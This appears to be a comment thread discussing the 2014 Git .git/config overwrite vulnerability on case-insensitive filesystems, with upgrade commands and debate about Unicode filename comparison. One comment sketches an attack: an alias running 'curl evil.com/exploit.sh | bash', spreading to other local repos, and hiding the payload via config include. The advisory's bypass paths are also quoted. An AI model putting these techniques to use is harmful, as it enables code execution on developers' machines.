Summary: on case-insensitive/normalizing filesystems (default on OSX and Windows) it's possible for .git/config to be overwritten by the tree, probably due to a case-sensitive sanity check when the actual file is insensitive. .git/config can contain arbitrary commands to be run on certain events/as aliases, so it leads to code execution. This is a risk when you get a tree from a third party, so on pull/fetch+checkout/clone...
There's an analogous vulnerability in Mercurial.
Update, then run git --version and make sure it's one of v188.8.131.52, v1.9.5, v2.0.5, v2.1.4, or v2.2.1. And be careful when pulling/cloning from third-parties.
EDIT: right, no "or", what are you doing reading this instead of updating?
You'll need 3.2.3 to be secure.
So, update no matter what, unless you're not on an affected system?
(this is a question, not a statement)
I know of three: FAT (specifically vfat, these days), JFS with Option -O, and CIOPFS (Case Insensitive On Purpose Filesystem):
Are there any more?
There are others that would be exotic these days, like AFP. And with FUSE, could be anything.
$ zfs get casesensitivity zroot
NAME PROPERTY VALUE SOURCE
zroot casesensitivity sensitive -
Is what you want in general. Unless you have some reason not to be, in which case you have to worry about the bug.
Also, can git run with .git/config being read only? That could be a useful second line of defense.
edit: Nevermind, short-lived issue. Just upgraded to 2.2.1.
brew upgrade git
EDIT: Macports just updated. I did it with
# port selfupdate
# port upgrade outdated
and 2.2.1 came down.
If you have the Apple git, then you should
# port install git
(I am aware of all the - quite frankly ridiculous - complexity of Unicode characters that are visually identical and "should be treated as such for the purposes of comparison", but I think that's another example of excess complexity leading to things like directory-traversal attacks.)
This was actually a further bug, reported as part of the same CVE - you could also overwrite .git/config by adding any of a number of zero-width Unicode characters that many filesystems ignore when checking for filename equality (but string comparison doesn't, of course).
What seems really scary about this is that even Unicode has several different ways of comparing strings, and the correct one depends on the exact situation, so the common response of "just use a library" doesn't work; for example, if a user were searching for a filename it might make sense for full-width characters to compare equal to half-width ones, but not if opening a file where you wouldn't want e.g. the full width version of /etc/passwd to be equivalent to the half-width one.
If you don't perform canonical equivalence checking, you could search for "café" and not find a file named "café.txt" if it uses the other representation.
It's useful when I search for "café", if I also get results for "cafe" - Chrome's search does this. Not to mention searching for "don't" and getting hits including "don’t". But that should definitely be restricted to text data operations, rather than lower-level ones, including filenames.
The issue arises when this "text data" includes filenames. Having café.txt and cafe.txt be equivalent when searching is useful, but the real problem is if a filesystem decides that two "equivalent" filenames are essentially identical - to contrive an example, suppose it thought /étc/passwd was referring to the same file as /etc/passwd . It makes checking for and filtering out "sensitive" filenames far more difficult. For example, just take a look at all the ways Unicode homoglyphs and "special" characters can be used to bypass forum wordfilters, and you'll see how difficult that problem is.
(I know permissions, ACLs, etc. can help here with access control, but the problem of distinguishing between filenames still stands.)
"Having programs that get different results back from what they actually wrote, that tends to be a security issue"
Directory-traversal attacks work just as well with ASCII or byte sequences.
 of course, what is large becomes less and less important over time, thanks to Moore's law. On embedded devices, this still may be quite significant, though.
I never really thought about this issue.
A path is an identifier. Just as it's infuriating and horrendous to have programming language identifiers act case-insensitively, it's a poor design choice to have path identifiers act case-insensitively.
I suspect that what you describe as a huge benefit to novice users is entirely seen in search functionality, where you are comparing a string (the search needle) against a number of paths (the haystack). Since this search should be conducted by converting the path to a string (never the other way around, that's nonsensical) it's perfectly natural to support CI operations on strings but forbid them on paths.
Sorry, but there's just no way around it.
The common complaint "but it's annoying to have to type in the filenames exactly" can be solved with tab-completion (I'm surprised how many CLI users don't know their shell has this feature), and using sane naming conventions like not GiVinG yOuR fIleS_stUpiD-NaMESLikEth1s.
brew update && brew upgrade git
Yes it is
Now if you just do fetch and don't merge/rebase you're safe, still, this is a very rare occurence
brew update && brew upgrade
Honestly, there's also something to be said for two-tier package management, ala OS X with Homebrew. Self-contained third party apps get a more managable space of base system profiles to target, and the installation UX can be as simple as drag/drop/app works. Us "special needs" users can then layer on and manage more esoteric and/or cutting-edge tools as needed with a full package manager. Heck, I was really glad to see Linuxbrew finally come to fruition for this very same reason. Have your cake and roll a newer-than-distro version of your tools too!
Agreed, I really like the sound of that. Been aching for some time to have a stable base system like deb stable / slackware and then have my development toolchain specifically but other uses might surface / need bleeding edge.
sudo port selfupdate
sudo port upgrade git
fatal: unable to access 'https://github.com/Homebrew/homebrew/': The requested URL returned error: 503
Error: Failure while executing: git pull -q origin refs/heads/master:refs/remotes/origin/master
edit: wait, it worked after a couple of tries; maybe it's due to panicked people updating brew\git?
Also, your github profile picture is amazing.
ls -al /usr/bin/git
sudo mv /usr/bin/git /usr/bin/git2
before the symlink.
> A big "thanks!" for bringing this issue to us goes to our friends in the Mercurial land, namely, Matt Mackall and Augie Fackler.
It'd be interesting to hear how they came across this. Matt is the leader of the Mercurial project and Augie is a Mercurial core contributor.
This doesn't seem like a high priority upgrade since GitHub now blocks the vulnerability from being pushed to their servers.
edit: Upgrade ASAP!
git clone git://...
git clone git://...
I guess maybe Docker/Vagrant/etc. users don't normally run code directly on their development machine, so it can be high priority for them. But as someone who doesn't use these tools (not a web developer), for me the vulnerability is extremely low priority.
I think it is important to have this Git fix, because it lets people be careful if they choose. But in practice most people are _not_ careful, and will happily clone and run code without inspecting it (or pipe curl to bash!). It's almost impossible to do otherwise, as there are only so many hours in the day.
Ultimately I think we are mostly protected by the fact that this kind of attack is simply not all that common. And if it were done in a very widespread way, somebody would probably notice and the repo would come under scrutiny. It would probably be very effective as a directed attack against a small number of people, especially if the code you executed was sneaky (i.e., install a rootkit, not `rm -rf /`).
Heck, some of the Google security guys have been discovering lately that you can pwn someone just by getting them to run less on a file. How many people start by doing "less README"?
Git should ideally not have this vulnerability, but panicking over this seems overkill. If you want to suck down and work with large amounts of code from a possibly malicious source, you get into virtual machines territory.
The Git core team has announced maintenance releases for all current versions of Git (v184.108.40.206, v1.9.5, v2.0.5, v2.1.4, and v2.2.1).
I have one Windows machine and went to update http://git-scm.com/download/win (preview Version 1.9.4)
It was released 3 months ago, on 2014-09-29.
https://msysgit.github.io (Version 1.9.5 preview BUT no documentation that this is for a security fix)
Doesn't seem like I can update my git client
Changes since Git-1.9.4-preview20140929
* Safeguards against bogus file names on NTFS.
Edit: Actually, there it is on their git hub releases page. https://github.com/msysgit/msysgit/releases/tag/Git-1.9.5-pr...
I figured I could build from source if I really wanted and the downloads would be updated eventually but ... they have not.
Brian Harry's blog has more information and links to download URLs for the updates: http://blogs.msdn.com/b/bharry/archive/2014/12/18/git-vulner...
did they find any problems? The post doesn't say...
* create an alias which does something evil "curl evil.com/exploit.sh | bash;", maybe as a typo (commti?) since "to avoid confusion and troubles with script usage, aliases that hide existing Git commands are ignored"
* exploit code finds other local git repos and infects them (maybe avoiding those with github/bitbucket remotes, since they'll be blocked)
* be innocuous-looking via git config's "include", so the bad aliases aren't obviously visible looking at ~/.gitconfig
So yes, this is dangerous.
I always get a strange, uneasy feeiling when the tin foil hats turn out to be right.
I wonder if they are right on GPG, too. For those who don't know this: The OpenBSD people refuse to sign their releases with that "far too complex" GPG tool, but created their own lightweight "signify" tool instead. 
Ridiculously enough, this is not always the case (I weep for us).
Should they have known that Windows and MacOS sport case-insensitive filesystems? Definitely.
But, how does this have anything to do with bloat or complexity?
On Windows, certain path components that are different from ".git"
are mapped to ".git", e.g. "git~1/config" is treated as if it were
".git/config". HFS+ has a similar issue, where certain unicode
codepoints are ignored, e.g. ".g\u200cit/config" is treated as if
it were ".git/config"
The reality check is that neither Windows nor MacOS ambushed anyone with overnight with case-insensitivity. It's been there (as the default, right?), since "forever". Git officially supports Win & Mac. Git design already protected .git/config, just not in a sufficiently effective manner (as far as 2/3ds of their major distribution platforms are concerned - yes, the defaults are what you should assume everyone has). 
Fun estimate: A lot of technical/knowledgable MacOSX folks, especially in the Webdev/webdesign/etc industries, will have been vulnerable to this despite their personal preferences. Adobe Photoshop (and the others of the creative suite, I think) had a certain idiosyncratic behaviour when certain conditions were not met. You paid thousands for that broken installer/support and Richard Stallman weeps for you.
 Aside: You think Git is getting shafted by Windows/Mac implementation idiosyncrasies in this case? Then you'll love the favourite issue node.js on windows: "Breaks on large projects". This is essentially a side-effect of solving the dependency hell problem effectively - by nesting dependencies under a node_modules directory on both project and dependency levels - and insufficient intelligence to foresee that preserving path length is a viable goal in software design (in 200X, no less). Because, in sufficiently bloated projects, you can have enough nested node_modules/$name/node_..., that you literally blow Windows' fuse. But it's not a big deal, because that max path length is like some huge number, like 2^32 or some shit. Righ - 260 characters. 257 and C:\. Including slashes and all. So when node.js picked the completely reasonable "node_modules" as a dependency includes dir name, they should have known better - that their project would attract a huge audience and that sufficiently complicated/bloated packages would be created and distributed that their depencency-includes-dir-name selection would become a show-stopper, because one of our favourite OSes is still eating glue in the corner. And what didn't actually work? Not node. Not npm. Windows Explorer and other tools/utils that weren't updated to support NTFS' actual maximum path size - 32K. On the one hand, node.js github issues piling up ("FIXITTT!!!!") and on the other, Microsoft says "NTFS supporting 32K path length, while Windows Explorer supporting 260 chars, is not a bug. Repeat, not a bug."
 Didn't work at all. "It isn't a bug, it's a System Requirement."
 Case-insensitivity in the FS. Not just as a concept, but as a pre-requisite for installing an expensive class-A consumer design application. Really think about this. You've just paid between 3 and 4 digit sums for this single license. The installer creates a bunch of files, but for securitah(?) we randomize capitalization of all paths (!) so the only way this could possibly work is if the god damned filesystem is cool with the app sometimes requesting 'Data', others 'data', occasiionally (during rants, mostly) 'DATA', and every April Fools day, 'dAtA', and always getting back the (proper) 'daTA'. As a developer, isn't this about as desirable as trying to save "C:\programs I should delete.txt" and receiving a "C:\progra~2.txt" path in return? What the unholy fuck? I asked for a very specfic filename. Either error me outta here ('Sorry Dave, I can't do space') or do exactly as I said.
 No, you're drun.
edit: obvious places still haven't updated. git-scm still provides 6-month-old binaries
Did I miss something?
sudo mv /usr/bin/git ~/.Trash/git_mac_old
You could pull down git hooks that root your box, pretty intense hack, update now!
It seems like there are a lot of people who don't really pay attention to social media or other security alert channels, who won't have a clue about the extent of this vulnerability. I'm sure they'd update if they knew "if I clone a malicious repo, I'm toast," but there's no way to inform them except by HN/Twitter/Reddit/mailing lists.
One could argue that they get what they deserve for being uninformed, but it seems like the ethical obligation might actually be on us to develop tools that ping home and ask whether it needs to stop working until it's updated.
Actually, I'm not sure it's ethical to embed such shutdown behavior into a tool that needs to be reliable. Maybe just a scary warning message like "This version is critically vulnerable, update immediately" every time the program runs would suffice.
By contrast, git is a tool that I manually invoke on the command line, and when the process terminates it's done. Having that phone home at runtime feels more invasive.
It seems like people are worried about privacy without thinking it through.
Maybe even a push update you can subscribe to.
➜ ~ git --version
git version 1.9.3 (Apple Git-50)
What about case-sensitive Mac file systems, like mine? I would imagine they are not vulnerable and that the author just overlooked this possibility in the article...
Maybe alert banners aren't in the git-scm.com css template.
edit: Is it that I'm on Linux? I changed a few UAs but the download image still reads "Downloads for Linux".
Then, make sure that HomeBrew versions are taking precedence: echo export PATH='/usr/local/bin:$PATH' >> ~/.bash_profile
i still got "git --version" to return 1.9.4 for mysisgit in git shell.
Is this normal ?